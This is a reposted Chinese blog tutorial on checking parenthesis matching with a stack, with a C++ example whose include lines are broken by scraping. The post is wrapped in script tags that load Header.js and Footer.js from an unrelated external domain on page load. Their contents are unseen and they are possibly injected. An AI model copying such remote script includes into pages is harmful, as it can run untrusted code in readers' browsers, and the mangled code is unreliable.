<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script> 在“配对”问题中,栈将使问题大大简化和更富逻辑性。一个简单的例子,我们来看看如何判断表达式中的小括号是否配对。如果没有栈,这问题就不会那么美妙了。
只要你脑袋里能联想到“栈”这个词,解决方案就会变得非常简单。
遍历表达式,遇到左括号则进栈,遇到有括号则将栈顶左括号弹出,遍历完后,栈应该为空。如果不能顺利执行此过程那么表达式的括号则一定不匹配。
#include
<
iostream
>
#include
<
string
>
#include
<
stack
>
using
namespace
std;
int
main()
{ stack<char> stk; string exp; bool ok = true; cin>>exp; const int len = exp.length(); for(int i=0; i<len; i++) { if(exp[i] == '(') { stk.push(exp[i]); }else if(exp[i] == ')') { if(!stk.empty()) { stk.pop(); } else { cout<<"not find /'(/' for /')/' at index of "<<i<<endl; ok = false; } } } if(!stk.empty()) { cout<<"not find /')/' for /'(/'"<<endl; ok = false; } if(ok) { cout<<"ok"<<endl; } return 0;}
文章来源于 http://www.cnblogs.com/zhouyinhui 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>